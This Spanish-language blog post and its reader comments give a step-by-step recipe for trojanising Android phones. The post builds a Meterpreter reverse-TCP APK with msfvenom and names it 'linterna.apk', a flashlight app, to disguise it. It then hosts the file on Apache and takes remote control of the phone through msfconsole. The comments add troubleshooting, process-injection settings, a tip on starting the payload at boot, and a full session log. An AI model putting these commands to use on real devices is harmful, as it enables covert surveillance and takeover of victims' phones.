16 nov 2015

Troyanizando Android con Msfvenom

Buenas a todos, tras la decisión del equipo de Metasploit hace ya algún tiempo de retirar msfpayload y msfencode, Msfvenom se convirtió en nuestro aliado, uniendo las capacidades de ambos, aunque con algunos pequeños cambios a la hora de utilizarlo.

Hoy, quiero centrarme en enseñaros como podéis controlar un dispositivo Android a través de Msfvenom y Msfconsole. Hace un par de años, mi compañero Pablo nos enseñaba en su artículo "Meterpreter en Android: El desembarco en tu smartphone" como podíamos realizar esta labor mediante msfpayload, pero actualmente está deprecated, por lo que hoy veremos como realizar esta misma labor con Msfvenom.

El primer paso a realizar será generar un APK malicioso que hará de agente/bot. Este software debería ser instalado en el dispositivo Android a controlar. Por ejemplo, yo realizaré las pruebas en un entorno local:
msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk 
A continuación, y con el fin de facilitar la carga del APK en el móvil, levantaré un Apache2 (en Kali 2), y copiaré el APK a la carpeta raíz del servidor web:
service apache2 start
cp /root/linterna.apk /var/www/html 
El siguiente paso será iniciar msfconsole, cargar el exploit y el payload reverse_tcp de Android:
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp 
Posteriormente configuraremos la dirección IP donde dejaremos el manejador escuchando y el puerto que previamente hemos indicado al bot al que se debe conectar:
set LHOST 192.168.1.50
set LPORT 4444 
Finalmente ejecutaremos la instrucción exploit:
exploit 
Ahora si instalamos el software que previamente habremos alojado en la ruta  http://192.168.1.50/linterna.apk dispondremos de control sobre el dispositivo.

Disponemos de un gran listado de comandos para interactuar con el dispositivo:




Si realizáis numerosas pruebas con él, veréis que no es 100% estable, y cuando traemos grandes cantidades de información del dispositivo suele colgarse. Pero solo tendremos que volver a abrir el APK instalado para tener control de nuevo sobre el terminal.

Saludos!

16 comentarios:

  1. Muy sencillo de utilizar, pero la verdad es que para mi no fue muy funcional ya que tengo que iniciar el apk constantemente, debido a que se desconecta:
    Meterpreter session 5 closed. Reason: Died

    ResponderEliminar
    Respuestas
    1. eso es por que tienes que migrar el proceso, coloca ps cuando estes en la consola ddel meterpreter, luego colocas migrate -(el numero del pid del proceso)asi tenras una conexion sin caida

      Eliminar
    2. A mi ni siquiera me abre la consola meterpreter

      Eliminar
    3. julio guerrero, eso solo funciona para payload de windows
      en android no funciona el comando migrate según tengo entendido

      Eliminar
  2. en lhost metemos esa ip o la nuestra?
    y en el puerto?

    ResponderEliminar
    Respuestas
    1. si, se coloca tu ip, la puedes sacar con ifconfig en kali linux, o ipconfing en cmd windows

      Eliminar
  3. a mi nisiquiera me instala la app porfavor... ayuda my cel es sansung...

    ResponderEliminar
  4. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  5. yo lo hice todo bien, pero al momento de estar en la msfconsole le doy use exploit/multi/handler y luego set payload android/meterpreter/reverse_tcp, se supone que ya me tendria que reconocer el virus pero le doy show options para ver si esta y no me sale el autoloadandroid que hago??

    ResponderEliminar
    Respuestas
    1. type:
      :$ use multi/handler
      :$ set payload android/shell/reverse_tcp
      :$ set lhost 192.168.x.x
      :$ set lport 8888
      :$ set processinject system_server
      :$ set exploit -j

      Eliminar
  6. lo que puedes hacer es usar el venom para inyectarle codigo de mainactivity y activandola para que se incie en paralelo desde el encendido del movil

    ResponderEliminar
  7. Ayuda por favor, a mi me aparece el mismo error de que se sbre y se cierra la sesión y dicen que hay que migrar uno de los registros pero ni siquiera me aparece la consola meterpreter solo aparece como si estuviera cargando y se cierra

    ResponderEliminar
  8. hola, a mi me dice msfvenom command not found, que hago?

    ResponderEliminar
    Respuestas
    1. Hola, esto es para androids, hoy les quiero compartir esta informacion y es que he estado los ultimos dos dias intentando que el payload funcionara, he leido mucho sobre el tema, pero no podia solucionar el problema que era principalmente el de la comunicacion entre los programas, bueno aqui les voy a dar unas recomendaciones y recordad que esto es en lan.

      1. El dispositivo atacante debe de tener una ip fija (Esta configuracion puede realizarse desde el router) busquen un video o informacion de como hacerlo.
      2. usad en LHOST=8080, las dos veces que me funciono utilize ese puerto, asi que se los recomiendo junto al predeterminado 4444.
      3.Estar seguros de que estan escribiendo correctamente.

      Si aparece No plataform was selected, choosing msf... no se preocupen que el programa lo adacta y funcionara correctamnete

      si solo les aparece [*] Started reverse TCP handler on 192.168.xxx.xxx intenten instalar la aplicacion y despues de intalada abrirla. alguna pregunta pueden dejarmela yo intentare responderla o alguien mas lo hara por mi.

      AQUI LES DEJO LOS COMANDOS QUE UTILIZE, TODO JUNTO Y PUEDEN IR SIGUIENDOLO.




      root@ZioOn:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=8080 R> prototipo.apk
      [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
      [-] No arch selected, selecting arch: dalvik from the payload
      No encoder or badchars specified, outputting raw payload
      Payload size: 10092 bytes

      root@ZioOn:~# msfconsole



      + -- --=[ 1886 exploits - 1066 auxiliary - 328 post ]
      + -- --=[ 546 payloads - 44 encoders - 10 nops ]
      + -- --=[ 2 evasion ]

      [*] Starting persistent handler(s)...
      msf5 > use exploit/multi/handler
      msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
      payload => android/meterpreter/reverse_tcp
      msf5 exploit(multi/handler) > show options

      Module options (exploit/multi/handler):

      Name Current Setting Required Description
      ---- --------------- -------- -----------


      Payload options (android/meterpreter/reverse_tcp):

      Name Current Setting Required Description
      ---- --------------- -------- -----------
      LHOST yes The listen address (an interface may be specified)
      LPORT 4444 yes The listen port


      Exploit target:

      Id Name
      -- ----
      0 Wildcard Target


      msf5 exploit(multi/handler) > set LHOST 192.168.0.107
      LHOST => 192.168.0.107
      msf5 exploit(multi/handler) > set LPORT 8080
      LPORT => 8080
      msf5 exploit(multi/handler) > show options

      Module options (exploit/multi/handler):

      Name Current Setting Required Description
      ---- --------------- -------- -----------


      Payload options (android/meterpreter/reverse_tcp):

      Name Current Setting Required Description
      ---- --------------- -------- -----------
      LHOST 192.168.0.107 yes The listen address (an interface may be specified)
      LPORT 8080 yes The listen port


      Exploit target:

      Id Name
      -- ----
      0 Wildcard Target


      msf5 exploit(multi/handler) > exploit

      [*] Started reverse TCP handler on 192.168.0.107:8080
      [*] Sending stage (72198 bytes) to 192.168.0.106
      [*] Meterpreter session 1 opened (192.168.0.107:8080 -> 192.168.0.xxx:xxxx) at 2019-11-18 15:09:57 -0800

      meterpreter > Interrupt: use the 'exit' command to quit
      meterpreter >

      busquen el resto

      Eliminar